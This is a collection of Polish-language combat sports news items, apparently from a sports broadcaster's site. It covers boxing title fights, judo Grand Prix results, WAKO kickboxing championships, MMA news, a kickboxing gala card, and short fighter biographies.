Zapraszamy na pojedynek o mistrzostwo świata WBA w kategorii junior średniej. Tytułu bronić będzie kubański wirtuoz Erislandy Lara, zaś w roli pretendenta wystąpi bardzo twardy Słowak Jan Zaveck. Niepokonany od blisko półtora roku, prowadzący na światowych listach wagi superpółśredniej Erislandy Lara stanie do walki z mającym na koncie 35 zwycięstw w 38 walkach Zaveck. Stawką organizowanej w Hialeah Park Race Track na Florydzie walki są pasy WBA World i IBO World. Faworytem wydaje się być pochodzący z Guantanamo, ale od dawna mieszkający w Houston Lara.  Kubańczyk w swoich ostatnich pojedynkach wygrał z Delvinem Rodriguezem i Ishe Smithem. Obu wyraźnie pokonał na punkty.
Na transmisję z gali zapraszamy w nocy ze środy na czwartek od 02:00. Powtórka w czwartek od 16:00.
 ""
GP w Korei: Łukasz Błach wylosował słynnego Wang Ki-Chuna
Wicemistrz Olimpijski z Pekinu i 2-krotny Mistrz Świata Wang Ki-Chun (Korea Płd.) będzie rywalem Łukasza Błacha w 1/16 finału wagi -81 kg Grand Prix w judo na wyspie Jeju. Transmisje od czwartku do soboty na żywo od g. 9:00 na naszej antenie.
 
Wang Ki-Chun największe sukcesy odnosił w wadze -73 kg, z której odszedł w zeszłym sezonie. W tym roku startował niewiele, ale najczęściej wygrywał. Najpierw w European Open w Warszawie, a kilka dni temu w GP w Qingdao (Chiny). Na Uniwersjadzie w Gwangju (Korea Płd.) wywalczył srebrny medal. Łukasz Błach przegrał z Wang Ki-Chunem w półfinale GP w Ułanbator w 2014 roku. W tym sezonie dobrą walkę z Koreańczykiem stoczył Jakub Kubieniec w Warszawie. Wcześniej walczył z nim m.in. Tomasz Adamiec. Czy w piątek doświadczony wrocławianin – Łukasz Błach pokona zawodnika gospodarzy?

""
 
W koreańskim turnieju wystąpi 422 judoków z 70 państw, w tym 6 Polaków. Rozstawiona jest Katarzyna Kłys -70 kg. W 1/8 finału spotka się z Giulią Cantoni (Włochy) lub Esther Stam (Gruzja). Od 1/16 finału zawody zaczną Karolina Pieńkowska -52 kg i Jakub Wójcik -100 kg. Ich rywalami będą Buyankhishig Purevsuren (Mongolia) i broniący tytułu Cho Guham (Korea Płd.). Już w 1/32 finału walki rozpoczną Michał Bartusik -66 kg z Jasperem Lefevere (Belgia) i Damian Szwarnowiecki -73 kg z Zelimkhanem Ozdoevem (Rosja). Nie startuje kontuzjowany Maciej Sarnacki 100 kg, który rok temu zdobył brąz. W jego wadze zdecydowanym faworytem jest słynny Francuz Teddy Riner.
 
Na żywo: Italian Boxing
Sobota g. 22:00 – Andrea Scarpa; Lyes Chaibi; Carlos Takam
W pojedynku wieczoru na gali w Palasport Le Cupole w Turynie zmierzą sięAndrea Scarpa Lyes Chaibi. Stawką zakontraktowanej na dwanaście rund walki będzie wakujący interkontynentalny pas federacji IBF w wadze superlekkiej, a jej faworytem mieszkający na co dzień w stolicy Piemontu Scarpa. 28-latek to aktualny mistrz Włoch w swojej kategorii wagowej. Tytuł ten zdobył w styczniu tego roku pewnie zwyciężający na punkty Francesco Acatullo.

Mocne wejście naszych fighterów

Nie ulega wątpliwości, że polskich kickbokserów obawiają się wszystkie nacje. Z pewnością strach zajrzał w oczy tych, którzy udali się na mistrzostwa świata WAKO w formułach pointfighting, light contact, full contact.

Już od samego początku Polacy dominują. Biało-czerwoni zdecydowanie rozpoczęli rywalizację w światowym czempionacie. Przez 1/8 finału przebrnęło trzynastu reprezentantów Polski.

Udany debiut

Pierwszy raz w imprezie tego kalibru udział wzięła Gabriela Bednarowicz. Bywa, że debiutom towarzyszą nerwy oraz niepewność, jednak nasza zawodniczka nie musiała się niczego obawiać. Bednarowicz, która doskonali swoje umiejętności w SKK Kielce na krajowym podwórku pokazała, że ma potencjał. Zawodniczka podczas rywalizacji jest niezwykle agresywna i zadaje dużo kopnięć. W swoim dorobku ma wiele medali mistrzostw Polski w formule full contact, na swoim koncie zapisała również srebrny medal w Pucharze Polski w low kicku w 2014 roku. W Dublinie w 1/8 finału full contact Polka trafiła na Tinę Beckenhauer. Nie było żadnych wątpliwości, kto w tym pojedynku zasłużył na wygraną. Bednarowicz zwyciężyła pewnie 3:0. Zaznaczyła wyraźnie swoją przewagę i teraz z niecierpliwością czeka na kolejny pojedynek.

Łatwego zadania nie miała Dorota Godzina w light contact w wadze 55kg. Lucija Regvat postawiła Polce trudne warunki, jednak fighterka, która za sobą występy na galach zawodowych grupy DSF wykorzystała swoje umiejętności i doświadczenie. Chorwatka była aktywna, wyprowadzała dużo kopnięć i w pierwszej rundzie postraszyła Godzinę. W kolejnych odsłonach Polka uporała się z naporem Regvat. Mądrze się broniła i wyprowadzała groźne akcje, co dało jej zwycięstwo.

Paulina Jarzmik pokazała, że ma nie lada wytrzymałość. Polka pierwszego dnia stoczyła dwa pojedynki. W pointfighting w wadze 65kg uporała się z Keri Browne, której umiejętności są oceniane wysoko. Z kolei w light contact w kategorii 60kg wyższość Polki musiała uznać Mirela Chilingirova z Bułgarii.

Mateusz Kubiszyn w light contact w 86kg nie najlepiej rozpoczął pojedynek w 1/8 finału. Azamat Tuyamashev odważnie ruszył do przodu i sprawił, że Polak musiał mieć się na baczności. Jednak od drugiej rundy Kubiszyn przejął kontrolę nad pojedynkiem. Polski fighter wygrał i nie ukrywa, że zmierza po złoto.

Nie ma wicemistrza

Z rywalizacją w light contact w 84kg pożegnał się Wojciech Wiśniewski. Polak zdecydował się walczyć w wyższej kategorii wagowej. Wcześniej rywalizował w 79kg. Przeszkodą nie do pokonania do Wiśniewskiego okazał się Denis Martsevich. Porażki ponieśli również: Natalia Biernasiak w light contact 52kg, Dominik Kotowski i Rafał Adamczyk w pointfighting (79kg i 84kg).

Ciężką przeprawę w 60kg full contact miała Emilia Czerwińska. Polka niejednogłośnie na punkty pokonała Milenę Svonję. Łukasz Wichowski udanie rozpoczął rywalizację w 1/16 finału light contact. Polak uporał się z Michaelem Gollobem z Austrii.

Miejmy nadzieję, że udany początek zmagań zwiastuje wysyp medali. Czekamy na kolejne walki naszych fighterów, które będą kończyć się ich triumfami. 

KM

Tate chętna do walki z Holm

Holly Holm znalazła się na ustach wszystkich. Nowa mistrzyni wagi koguciej jest teraz ponętnym kąskiem. Zarówno dla mediów jak i dla potencjalnych rywalek. Jedna z nich dała już o sobie znać. Miesha Tate chciałaby stoczyć pojedynek z mistrzynią UFC.

Holm zaskoczyła cały świat MMA. Ronda Rousey stała się twarzą UFC i jej najbardziej rozpoznawalną twarzą. Wydawało się, że Amerykanka będzie niepokonana. Odprawiała kolejne rywalki, a jej walki trwały zaledwie kilkadziesiąt sekund, jednak w końcu znalazła pogromczynię.

Holm bez litości

Można powiedzieć, że świat MMA zamarł. Rousey stała się ikoną, a zarazem skarbem UFC. Była judoczka potrafiła zrobić show i zaserwować widzom ogromne wrażenia. 14 listopada skutecznością popisała się Holly Holm. 34-letnia Amerykanka w drugiej rundzie pojedynku wypunktowała swoją rywalkę. Wysokie kopnięcie powaliło Rousey na ziemię, a później Holm ciosami z góry skończyła dzieło i została nową mistrzynią UFC wagi koguciej.

34-letnia Amerykanka ukazała się światu w nowym blasku. Dziesięć wygranych pojedynków w MMA i do tego pas mistrzowski, a w dodatku bogata kariera bokserska. Holm ma z czego czerpać. Teraz Amerykanka znalazła się w ogniu zainteresowań. Zapewne pojawi się mnóstwo interesujących propozycji, jednak zawodniczka będzie musiała dokonać selekcji. Chęć rywalizacji z Holm wyraziła już Miesha Tate. 29-latka to doświadczona fighterka, która wygrała ostatnie cztery walki. Wcześniej rywalizowała w organizacji Strikeforce. Jej celem był tytuł mistrzowski UFC, jednak marzeń o pasie pozbawiła ją Ronda Rousey. Popularna „Cupcake” nie miała szczęścia do „Rowdy”. Przegrała z nią na gali Strikeforce, a potem na UFC. W obu przypadkach przez dźwignię na łokieć.

Tate jest gotowa, aby stawić czoła kolejnemu wyzwaniu. Amerykanka jest pewna siebie i nie ukrywa, że wygrana z Holm byłaby kluczem do kolejnej walki z Rousey. Tate to mocna fighterka, jednak czy będzie najbliższą rywalką nowej mistrzyni? Wielu ekspertów podejrzewa, że najprawdopodobniej nie. Najbliższą rywalką Holm miałaby być Ronda Rousey, czyli doszłoby do pojedynku rewanżowego. Zapewne kolejne miesiące będą gorące. Nie obędzie się bez spekulacji i kolejnych deklaracji zawodniczek gotowych do odebrania Holm pasa.

Nasza przedstawicielka w Azji

Niepokonana w UFC pozostaje Joanna Jędrzejczyk. Polka przebojem wdarła się na pierwszy plan amerykańskiej organizacji i zdobyła tytuł mistrzyni wagi słomkowej. Czy Lena Tkhorevska  pójdzie drogą Jędrzejczyk?

26-letnia fighterka z Białej Podlaskiej podpisała kontrakt z azjatycką organizacją One Championship. Polka pierwszym pojedynek stoczy już 11 grudnia podczas gali w Manili. Tkhorevska będzie rywalizowała z młodziutką Angelą Lee. 19-letnia Amerykanka w One Championship stoczyła trzy pojedynki i jeszcze nie przegrała. Wszystkie walki rozstrzygnęła na swoją korzyść przed czasem.

Jak prezentują się dokonania Tkhorevskiej? 26-latka do tej pory prezentowała się na galach PLMMA. Stoczyła cztery walki, z których trzy zakończyły się jej triumfami. Ostatni pojedynek rozstrzygnęła na swoją korzyść w trzydzieści dziewięć sekund.

Fot. scifighting.com 

KM

Po zamieszaniu wyłoniono mistrza

Saul Alvarez został mistrzem świata federacji WBC w wadze średniej. Meksykanin pokonał jednogłośnie na punkty Miguela Cotto. Czy ta walka zmieni obraz kategorii średniej?

Pojedynek zapowiadany był jako gorący kąsek. Spotkało się dwóch pięściarzy, ale każdy z nich miał inne priorytety. Cotto to stary lis, który mógł. „Canelo” musiał i zrobił to.

Młody, gniewny i zwycięski

Zamieszanie – to słowo w kontekście tej walki można odmieniać przez wszystkie przypadki. Przed pojedynkiem pojawiały się różne głosy. Gdzieś w dyskusji przedzierało się nazwisko Floyda Mayweathera Jr., czyli jedynego pogromcy Alvareza. „Money” karierę zakończył, ale wielu wzywa go do powrotu na ring. 

Cotto również doznał porażki z rąk Mayweathera, jednak Portorykańczyk to ikona boksu. 35-letni pięściarz nie był stawiany w roli faworyta w pojedynku z Alvarezem. Cotto swoje już w ringu zrobił i nadszedł czas, aby ustąpił miejsca młodszemu gwiazdorowi, którego wspiera Oscar de la Hoya. Dodatkowo przed pojedynkiem Portorykańczyk stracił pas mistrzowski WBC. Dlaczego? Cotto odmówił uiszczenia opłaty sankcyjnej za walkę, która wynosiła 300 tysięcy dolarów. Niby dużo, ale biorąc pod uwagę gażę Portorykańczyka to suma nie robi wrażenia. 35-latek za pojedynek miał zgarnąć piętnaście milionów dolarów, bez uwzględniania zysków z pay per view. 

W ringu miał być spektakl, ale walka nie porwała. Początkowo obaj pięściarze starali się być uważni i nie zamierzali przeprowadzać spektakularnych akcji. W czwartej rundzie „Canelo” posłał w stronę rywala kilka mocnych ciosów. Meksykanin wykorzystywał fakt, że Cotto opuszczał lewą rękę i właśnie wtedy starał się uderzać. Portorykańczyk doskakiwał do „Canelo”, aby trafiać seriami, jednak miał problemy z celnością. Alvarez był cierpliwy i czekał, żeby uderzyć raz, a porządnie. Cotto mądrze się bronił. Portorykańczyk w siódmej rundzie ruszył do przodu, ale celne ciosy można było policzyć na palcach jednej ręki. Końcówka należała dla Meksykanina. Alvarez ruszył do przodu, ale Cotto nie zamierzał iść na wymianę. Żaden czysty cios nie doszedł do twarzy Portorykańczyka, jednak „Canelo” wyraźnie zaznaczył swoją przewagę. Sędziowie byli jednogłośni: 117-111, 119-109, 118-110 dla Alvareza.

Mocny Kazach czeka

Alvarez zasłużył na zwycięstwo, ale czy w takich rozmiarach? Cotto wyprowadzał wiele ciosów, jednak nie osiągały one celu. „Canelo” był skupiony i czekał na swoją szansę. Widowisko miało wyglądać inaczej, więc można mówić o rozczarowaniu. Dwa mocne nazwiska sprezentowały spektakl wątpliwej jakości.

Cotto miałby problemy z Giennadijem Gołowkinem. Rosjanin jest potężny, skuteczny i bezwzględny. Sprostać może mu ktoś, kto ma mocny i soczysty cios. Ten opis jak najbardziej pasuje do Alvareza, który powinien w kolejne walce zmierzyć się z Gołowkinem. Kazach może pochwalić się mianem tymczasowego mistrza świata WBC. Czy to będzie wielki pojedynek wagi średniej? A może po prostu średnie starcie. Tym razem raczej każdy z aktorów będzie walczył o pas. Cotto rywalizował w mistrzowskiej walce, ale w przypadku wygranej tytułu by nie zyskał. Takie małe zamieszanie. Bo zasad trzeba jednak przestrzegać.

KM

Nie było łatwo, ale Abraham obronił pas

Arthur Abraham stanął przed trudnym wyzwaniem na gali, która odbyła się w sobotni wieczór w Hannowerze. Niemiecki mistrz świata WBO w kategorii super średniej musiał bronić pasa w starciu z Martinem Murray’em. Bokser z Wysp Brytyjskich postraszył mistrza.

Abraham po raz kolejny stoczył swoją walkę w Hannowerze. Z pewnością mistrz świata lubi walczyć w mieście nad rzeką Line. W rywalizacji z Murray’em piąty raz przyszło mu bronić tytułu w Hannowerze.

Własne warunki

Murray podszedł do rywalizacji bez kompleksów. W zasadzie miał ku temu powody. Ostatnie trzy walki rozstrzygnął na swoją korzyść przed czasem, a na zawodowym ringu poniósł dwie porażki. Sposób na 33-latka znaleźli Giennadij Gołowkin i Sergio Gabriel Martinez. Murray po raz kolejny dostał szansę na wywalczenie tytułu mistrza świata. Jak się zaprezentował?

Od początku Abraham był spokojny i chciał wyczuć rywala. Murray nie czekał, ruszył do przodu. Brytyjczyk słał w stronę Niemca kolejne ciosy, ale lądowały one na gardzie mistrza. Abraham przyjął warunki rywala i czekał na swój czas. W trzeciej rundzie Murray rozkręcił się. Uderzał seriami, ale bez efektu.

W czwartej rundzie dał o sobie znać Abraham. Mistrz świata zaczął uderzać, jednak Murray znalazł sposób jak uniknąć ciosów Niemca. 33-latek zdecydował się klinczować. Gdy Abraham wyprowadzał cios Brytyjczyk starał się wkładać głowę pod jego rękę. W siódmej rundzie sędzia upomniał Murraya. Z kolei pretendent zachował się nieprzepisowo i uderzył swojego rywala w tył głowy, a arbiter po raz kolejny zwrócił mu uwagę.

Ósma odsłona na korzyść Murraya i chyba była to  najlepsza runda w jego wykonaniu. Brytyjczyk ruszył na Abrahama i rozbijał skutecznie gardę Niemca. Abraham sprawiał wrażenie zagubionego, starał się odpowiadać, jednak brakowało mu skuteczności. W końcu Murray posłał potężny prawy sierpowy na szczękę Abrahama, jednak przegapił dogodny moment, aby osłabić rywala. Abraham przebudził się i pod koniec rundy zadał kilka celnych ciosów.

Niepewność

Abraham miał świadomość, że musi być bardziej uważny i kontrolować przebieg walki, a przede wszystkim zaznaczyć swoją przewagę, aby nie było żadnych wątpliwości, co do rozstrzygnięcia.

Mistrz świata starał się znaleźć sposób, aby zachwiać swoim rywalem. Słał w jego stronę kolejne ciosy, jednak Murray nie pozostawał bierny. W 11.rundzie Brytyjczyk został ukarany odjęciem punktów. Przez kilka rund skutecznie pracował, aby sędzia nałożył na niego karę. Murray po raz kolejny klinczował. Końcówka walki należała do Abrahama. Niemiec przejął kontrolę nad pojedynkiem. Dyktował tempo i skutecznie atakował.

Werdykt sędziowski pozostawał niewiadomą. Po ostatnim gongu obaj pięściarze wznieśli ręce w geście triumfu. Było gorąco. 115:112 dla Murraya, 115:112 dla Abrahama i trzeci sędzia również wskazał na mistrza – 116:111. Niemiec wygrał ósmy pojedynek z rzędu i obronił pas.

KM

fot. mirror.co.uk

Mistrz świata organizuje galę

I to nie pierwszą. Tomasz Makowski po raz kolejny chce dostarczyć mocnych wrażeń fanom sportów uderzanych. 12 grudnia w Nowej Soli odbędzie się gala Makowski Fighting Championship 9.

Nie zabraknie pojedynków w K-1 i MMA. W karcie walk znajduje się dziesięć pojedynków, w których zaprezentują się fighterzy z Polski, Holandii, Słowacji czy Białorusi.

Na szali mistrzostwo Polski

Jak to bywa w przypadku wielu gal musi pojawić się walka, której stawka będzie wyjątkowa. Podobnie będzie w Nowej Soli. W pojedynku wieczoru zaprezentują się Michał Szmajda z Maku Gym Nowe Miasteczko i Marek Tarabus z Elite Gym ze Słowacji, a stawką rywalizacji będzie międzynarodowe mistrzostwo Polski WKN. 32-letni Polak już od ponad dziesięciu lat trenuje pod okiem Tomasza Makowskiego. Szmajda to przede wszystkim ogromne doświadczenie i umiejętności. Można powiedzieć, że na galach MFC czuje się jak w domu, gdyż często jest czołowym uczestnikiem imprez. W swoim dorobku ma trzy tytuły międzynarodowego mistrza Polski WKN oraz mistrzostwo Polsku muay thai. Czy rywal ze Słowacji będzie w stanie odebrać pas Szmajdzie?

Na gali wystąpi również Tomasz Makowski. Utytułowany zawodnik zaprezentuje się w walce na zasadach K-1, a jego rywalem będzie Tomas Cincik z Fire Gym ze Słowacji. Makowski swoją pasję dzieli zarówno jako zawodnik, ale i organizator. Imprezy odbywające się w Nowej Soli stały się popularne i każdy kolejny występ rodzi coraz większe zainteresowanie. Makowski nie zamierza odpoczywać od rywalizacji, a i tak ma na swoim koncie bogate dokonania. Trzykrotnie sięgał po tytuł mistrza świata K-1 WKN, w 2010 roku zdobył mistrzostwo świata muay thai WKN, a także triumfował wielu Pucharach Świata full contact oraz zdobywał tytuły mistrzowskie w kraju.

Będzie i mieszanka

Gale MFC to kickboxing, muay thai, ale także pojedynki mieszanych sztuk walki. Podczas kolejnej edycji imprezy nie zabraknie MMA. Zaprezentuje się znany z KSW Łukasz Rajewski. Popularny „Raju” stoczy swój drugi pojedynek podczas imprez MFC. Rajewski debiutował we wrześniu, kiedy to uporał się z Girikhanem Khamurzaevem. Jego rywalem w Nowej Soli będzie Aleksander Zawadski z Białorusi.

Swój pojedynek w K-1 w wadze ciężkiej stoczy Marcin Bodnar z Fightclub Zielona Góra, a jego rywalem będzie Białorusin Igar Kamkou z Evrika Mińsk. Polak podczas MFC 8 pokonał jednogłośnie na punkty pokonał Mateusza Urbanowicza. Zgromadzeni w Nowej Soli będą mogli podziwiać Dawida Kasperskiego z Punchera Wrocław. Zawodnik walczący w kategorii 86kg udowodnił, że ma ogromny potencjał. Z dobrej strony pokazał się na galach prestiżowej organizacji Superkombat. Niedawno Kasperski sięgnął po brązowy medal mistrzostw świata WAKO. Jego rywalem podczas gali MFC będzie Joshua Karsters. 

Walka o międzynarodowe Mistrzostwo Polski WKN: K-1 72,5 kg: Michał Szmajda (Maku Gym Nowe Miasteczko) vs. Marek Tarabus (Słowacja)
K-1: 86 kg: Dawid Kasperski (Puncher Wrocław) vs. Joshua Karsters (Surinam)
K-1: 70 kg: Marcin Kret (Puncher Wrocław) vs. Ayoub El Guennouni (Holandia)
K-1 60kg: Tomasz Makowski (Maku Gym) vs. Tomas Cincik (Fire Gym Slowacja)
71 kg: Łukasz Trela (Fight Club Zielona Góra) vs. Adam Trzpioła (Serafin Warszawa)
K-1 +95 kg: Marcin Bodnar (Fight Club Zielona Góra) vs. Patryk Rajski (Muay Thai Corio Team Łódź)
K-1 80 kg: Sławomir Przypis (Żytkiewicz Team Świebodzin) vs. Jozef Kolodziej (Słowacja)
muay thai 62  kg: Maciej Zembik (ŻKSW) vs. Michal Stulrajter (Martial Arts Academy Słowacja)
MMA 84 kg: Łukasz Żywalewski (Berkut Arrachion Olsztyn) vs. Szymon Ziarko (Endurance Team Opole)
MMA 70kg: Łukasz Rajewski (Ankos Zapasy Poznań) vs. Aleksander Zawadski (Evrika Minsk Białoruś)

KM

 

Kłys na podium

Polska judoczka po raz kolejny tej jesieni zanotowała dobry występ. Katarzyna Kłys startująca w kategorii 70kg zajęła trzecią pozycję podczas Grand Prix w Qingdao w judo. Wcześniej zawodniczka Polonii Rybnik zdobyła brązowy medal w zawodach Grand Slam w Abu Zabi.

Polka potwierdziła, że znajduje się w dobrej dyspozycji. Kłys zdobyła kolejne punkty w walce o kwalifikację olimpijską. Na obecną chwilę Polka może być spokojna o wyjazd do Rio de Janeiro.

Ściana z Chorwacji

Do Chin zjechało blisko czterystu judoków. Jesień będzie przebiegała pod znakiem kolejnych turniejów na kontynencie azjatyckim. Następne zmagania judoków odbędą się południowokoreańskiej wyspie Jeju. Później rywalizacja przeniesie się do Tokio.

Katarzyna Kłys mocnym akcentem rozpoczęła swoje zmagania podczas azjatyckich podróży. Polka bez problemów rozprawiła się z reprezentantką gospodarzy Chen Wei. Chinka nie potrafiła w żaden sposób zagrozić judoczce Polonii Rybnik, która wygrała przez yuko. W kolejnym starciu nasza zawodniczka stanęła na wprost Barbary Matić. Praktycznie do samego końca ważyły się losy tego pojedynku. Walka wyrównana, jednak więcej błędów popełniła Kłys i przegrała karami shido. Warto nadmienić, że Matić okazała się najlepsza w kategorii 70kg. Z kolei Kłys przyszło rywalizować w repasażach. W tym roku Polka jest zmorą Morgan Fletcher. Judoczka z Wysp Brytyjskich już trzeci raz musiała uznać wyższość 29-letniej zawodniczki Polonii Rybnik. W tej walce było wszystko, co możliwe ze strony Kłys. Agresja, zdecydowanie i skuteczność. Kłys zapisała na swoim koncie trzy kary shido, ale dołożyła do tego yuko i waza-ari. W decydującym o medalu pojedynku srebrna medalistka mistrzostw świata w drużynie spotkała się z Iriną Gazievą. Polka była w gazie i od początku dyktowała warunki. Rosjanka była bez szans. Kłys zaprezentowała bogaty repertuar, który zakończyła ipponem.

Dobry początek

W Qingdao zaprezentowało się dwoje reprezentantów Polski. Oprócz Kłys wystąpił Michał Bartusik, który rywalizował w kategorii 66kg.

Na starcie pojawiło się dwudziestu dziewięciu judoków. W pierwszej walce Bartusik trafił na zawodnika z Chin – Zhenlonga Xu. Już po minucie rywalizacji Xu otrzymał karę shido. Bartusik szukał swojej szansy i niepokoił rywala, co szybko przyniosło pożądany efekt. Po półtorej minuty rywalizacji Polak był bliżej zwycięstwa, po tym jak zdobył punkty przez waza-ari. Bartusik nie miał zamiaru się ociągać i zakończył pojedynek przed czasem. Tumurkhuleg Davaadorj był kolejnym rywalem naszego judoki. Bartusik szybko zakończył rywalizację. Można powiedzieć, że Polak sam się „wykartkował”. Cztery kary shido w ponad dwie minuty zakończyły rywalizację. Davaadorj mógł cieszyć się z wywalczenia srebrnego medalu. W finale reprezentant Mongolii przegrał z Nijatem Shikhalizadą z Azerbejdżanu.

Podczas Grand Prix Chin dobrą formę prezentują się Japończycy. Funa Tonaki triumfowała w kategorii 48kg, z kolei Yuka Nishida okazała się najlepsza w 52kg. Wśród panów w 73kg zwyciężył Soichi Hashimoto.

KM

fot. PZJ

Kiedy wejdą na ring?

Niektórzy już powoli myślą o rozpoczęciu przygotowań do świąt. Z kolei inni ciężko trenują, gdyż czeka ich intensywna końcówka roku. Czołowi polscy bokserzy w grudniu uruchomią pięści.

Przed szansą na zdobycie tytułu mistrza Europy w wadze cruiser stanie Mateusz Masternak. Z kolei Michał Cieślak w ringu zaprezentuje się już 27 listopada. 26-latek liczy na kolejną wygraną i z nadziejami patrzy w przyszłość.

Polska junior ciężka

Polscy bokserzy coraz śmielej poczynają sobie w kategorii junior ciężkiej. Krzysztof Głowacki po fenomenalnej walce odebrał pas mistrza świata WBO Marco Huckowi. Mówiło się, że Polak w najbliższym czasie spotka się z BJ Floresem. 34-letni Amerykanin odrzucił jednak propozycję walki.

Jeszcze w listopadzie na ring wejdzie Michał Cieślak. 26-latek w ostatnim czasie pokazał, że potrafi efektownie walczyć. Dwa ostatnie pojedynki Polak wygrał przez nokaut w pierwszych rundach. Cieślak nadal jest niepokonany na zawodowym ringu. 27 listopada w Łodzi jego rywalem będzie Hamza Wandera. Szansę na zdobycie tytułu mistrza Europy będzie miał Mateusz Masternak. „Master” po wpadce z Yourim Kalengą powoli wraca do boksu na najwyższym poziomie. 12 grudnia w Londynie Masternak zmierzy się z Tony’m Bellewem.

Po ponad rocznej przerwie na ring wraca Krzysztof Włodarczyk. „Diablo” miał walczyć w maju o odzyskanie pasa WBC, jednak z powodu choroby nie mógł boksować z Grigorijem Drozdem. Polak w końcu zaprezentuje się na ringu i będzie miał okazję udowodnić, że jest w stanie wrócić do mistrzowskiej formy. 18 grudnia w Las Vegas ma zmierzyć się z Beibutem Shumenovem, który ostatnio pokonał BJ Floresa.

„Striczu” po raz trzeci

Maciej Sulęcki przygotowuje się do kolejnej walki na amerykańskich ringach. Popularny „Striczu” w tym roku debiutował w Stanach Zjednoczonych, po tym jak podpisał kontrakt z Alem Haymonem. Do tej pory Sulęcki imponuje skutecznością. Dwie walki wygrał przed czasem i pokazał, że ma potencjał, aby zaistnieć w wadze średniej. 26-latek miał pojawić się na ringu na początku grudnia, jednak plany uległy zmianie. Sulęcki będzie boksował jeszcze w tym roku. Cały czas nie wiadomo, kto miałby stanąć na wprost Polaka.

Kolejną okazję do zaprezentowania swojego kunsztu dostanie Artur Szpilka. Popularny „Szpila” już 12 grudnia na gali w San Antonio ma zmierzyć się z Amirem Mansourem. Rywal już wiekowy, bo liczy 43 wiosny, jednak poniósł tylko jedną porażkę w swojej karierze. W kwietniu 2014 roku przegrał ze Stevem Cunninghamem. Z kolei „Szpila” świetnie czuje się na amerykańskich ringach. W tym roku stoczył w Stanach trzy pojedynki i wszystkie rozstrzygnął przed czasem.

27 listopada w Rzeszowie o tytuł mistrzyni Europy w wadze półśredniej powalczy Ewa Piątkowska. Rywalką „Tygrysicy” będzie Marie Riederer, która ostatnie dwie walki przegrała. Pogromczynią Piątkowskiej okazała się Ewa Brodnicka. 19 grudnia 31-letnia pięściarka w Łomiankach zmierzy się z Belgijką Efil Philips. Stawką pojedynku będzie pas mistrzyni Europy wagi lekkiej.

KM

Zabit Samiedow

Utytułowany białoruski kickboxer wagi ciężkiej pochodzenia azerskiego urodzony 21 czerwca 1984 roku w Gardabani. Samiedow urodził się na terenie Gruzji  w rodzinie wywodzącej się z azerskiej mniejszości narodowej. W wieku 10 lat wraz z rodzicami wyemigrował na Białoruś i zamieszkał w Mińsku. Tam zapisał się na treningi Muay Thai do renomowanego klubu Chinuk Gym, którego barwy reprezentuje do tej pory. Był tam sparingpartnerem m.in. Aleksieja Ignaszowa. W 1998 roku otrzymał obywatelstwo Białorusi i został włączony do Białoruskiej kadry narodowej w boksie tajskim. W tym samym roku został amatorskim mistrzem Europy juniorów. W następnych latach wygrał wiele turniejów w muay thai i kickboxingu. W 2004 roku zdobył mistrzostwo Świata Muay Thai organizacji WAKO. Od 2006 roku walczy w pojedynkach na zasadach K-1. Zwycięstwa w regionalnych turniejach w Debreczynie i Rydze sprawiły, że rok później zadebiutował w prestiżowym cyklu K-1 World Grand Prix. W 2007 roku został finalistą Grand Prix USA w Las Vegas. Wkrótce potem ogłoszono, że w pobranych przed turniejem próbkach moczu Samiedowa wykryto ślady sterydu anabolicznego stanazolanu. Mimo to, władze organizacji K-1 nie zdecydowały się zawiesić Białorusina. W kwietniu 2008 roku Samiedow zajął drugie miejsce w Grand Prix Europy w Amsterdamie. W finale został pokonany przez Errola Zimmermana. W listopadzie zmierzył się z Tyrone’em Spongiem o mistrzostwo organizacji It’s Showtime w kategorii do 95kg. Przegrał przez jednogłośną decyzję po pięciu rundach. Swoje pierwsze zwycięstwo w turnieju rangi World GP odniósł w maju 2009 roku. Wygrał K-1 World GP w Łodzi, zdobywając przepustkę do jesiennego eliminatora K-1 World Grand Prix 2009 Final 16. Tam w walce o awans do finału K-1 WGP został znokautowany ciosem w korpus przez Barda Hari. W 2011 roku po wielu latach startów w boksie tajskim i kickboxingu, postanowił przejść do MMA. W marcu w swoim debiucie wygrał w Mińsku przed czasem z Ukraińcem Horbenką. Swoją drugą walkę na zasadach MMA stoczył 1 czerwca 2012. Na otwartych Mistrzostwach Rosji w MMA znokautował obrotowym kopnięciem Ukraińca Witalija Oparina w pierwszej rundzie.  

Posted in Bez kategorii

Daniel Ghita

Rumiński Kick-boxer urodzony 22 kwietnia 1981 roku w Bukareszcie. W latach 2004-2008 występował w Rumuńskiej organizacji Kick-bokserskiej Local Kombat, której był mistrzem w wadze ciężkiej. W maju 2005 roku zdobył mistrzostwo Europy WKN w boksie tajskim, pokonując przez decyzję Mourada Bouzidi. W formule K-1 zadebiutował w maju 2007 roku na gali K-1 Fighting Network Romania. 11 sierpnia 2009 roku po raz pierwszy wystąpił w prestiżowym cyklu K-1 World GP. W swoim debiucie wygrał w Tokio turniej kwalifikacyjny do K-1 WGP Final 16, pokonując wszystkich trzech rywali przed czasem w pierwszej rundzie. Mimo że w Final 16 uległ Semmy’emu Schiltowi, wystąpił podczas finału K-1 WGP w drugiej walce rezerwowej z debiutującym w K-1 Siergiejem Charitonowem. Ghita znokautował Rosjanina. W październiku 2010 roku podczas Final 16 znokautował Errola Zimmermana, zostając pierwszym w historii Rumunem, który awansował do Finału K-1 WGP. W ćwierćfinale tego turnieju został wyeliminowany przez Gokhana Sakiego, po niezwykle zaciętym pojedynku. 28 stycznia 2012 roku na gali It’s Showtime 2012 in Leeuwarden stoczył pojedynek o mistrzostwo organizacji It’s Showtime w wadze ciężkiej z Hesdym Gergesem. Ghita już w pierwszej rundzie znokautował Egipcjanina lewym sierpowym, odbierając mu pas mistrzowski. 

KSW bez Drwala

Tomasz Drwal w Krakowie miał stoczyć drugi pojedynek dla organizacji KSW. Popularny „Gorilla” nie pojawi się jednak w stolicy Małopolski. Powodem absencji fightera jest kontuzja kolana.

33-letni Drwal miał zmierzyć się w Krakowie z Azizem Karaoglu. KSW szybko znalazło zastępstwo za Polaka i 38-letni Niemiec będzie rywalizował z dobrze znanym polskiej publiczności Maiquelem Falcao.

Konieczna operacja

Co właściwie się stało? Podczas środowego treningu 33-latek doznał kontuzji lewego kolana, a rozkładając kwestię na czynniki pierwsze – uszkodził łękotkę i zerwał więzadła krzyżowe. Prawdopodobnie w przyszłym tygodniu „Gorillę” czeka operacja. Po niej Drwal przejdzie rehabilitację.

